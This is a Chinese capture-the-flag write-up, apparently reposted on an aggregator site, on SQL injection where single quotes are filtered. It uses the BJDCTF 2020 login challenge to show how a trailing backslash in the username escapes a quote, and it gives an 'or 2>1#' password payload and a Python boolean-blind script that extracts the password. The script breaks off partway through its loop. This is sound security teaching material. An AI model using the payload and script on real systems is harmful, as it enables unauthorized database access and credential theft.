通过两道CTF题学习过滤单引号的SQL注入 您所在的位置:网站首页 mysql字符型注入 通过两道CTF题学习过滤单引号的SQL注入

通过两道CTF题学习过滤单引号的SQL注入

2023-08-27 14:44| 来源: 网络整理| 查看: 265

0x00 前言

通常来说,在进行字符型的SQL注入时,都需要先将前面的引号等(以单引号为例)进行闭合才能执行我们构造的SQL语句,那么如果单引号被过滤了,是否还能够成功的SQL注入呢?

答案是可以,当你在判断登录时使用的是如下SQL语句:

select user from user where user='$_POST[username]' and password='$_POST[password]';

那么即使在过滤的时候将单引号过滤掉了,还是可以进行一定程度上的注入的,下面通过两道CTF题来进行介绍。

0x01 [BJDCTF 2020]简单注入

进入题目后就是一个登录框,名字也提示了要注入: 在这里插入图片描述 扫描目录发现hint.txt中的提示: 在这里插入图片描述 告诉了我们登录的sql语句:

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

稍微fuzz一下可以发现过滤了'、"、=、-、and、select等关键词,其中关键就是这个单引号,由hint已知这里是需要单引号进行闭合的,而单引号又被过滤了。

可以发现注释符#和反斜杠\并没有被过滤,既然注释符没有过滤,那么我们就可以注释掉最后一个单引号,这样就只剩下3个单引号需要处理。

而如果我们输入的用户名以反斜杠\结尾,例如POST:username=admin\&password=123456#,那么拼接进去后,\就可以将第2个单引号转义掉,如下:

select * from users where username='admin\' and password='123456#';

这样第1个单引号就会找第3个单引号进行闭合,后台接收到的username实际上是admin\' and password=这个整体,而这个用户名显然不存在,所以还是登录失败。

但是别忘了我们还有一个password变量可控,实际上我们已经解决了单引号的闭合问题了,下面的就是常规的思路,比如我们构造password为or 2>1#

那么拼接后的sql语句就为:

select * from users where username='admin\' and password=' or 2>1#';

很显然上面的语句会返回为真,通过这样的思路,我们就可以进行bool盲注: 在这里插入图片描述 在这里插入图片描述 最终脚本如下:

import requests s = requests.Session() url = 'http://6644a23a-145c-40a9-a969-90ff1f80ac4d.node3.buuoj.cn/' flag = '' def exp(i, j): payload = f"or (ascii(substr(password,{i},1))>{j})#" data = { "username": "admin\\", "password": payload } r = s.post(url, data=data) if "BJD needs to be stronger" in r.text: return True else: return False for i in range(1, 100): low = 32 high = 127 while (low


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

      专题文章
        CopyRight 2018-2019 实验室设备网 版权所有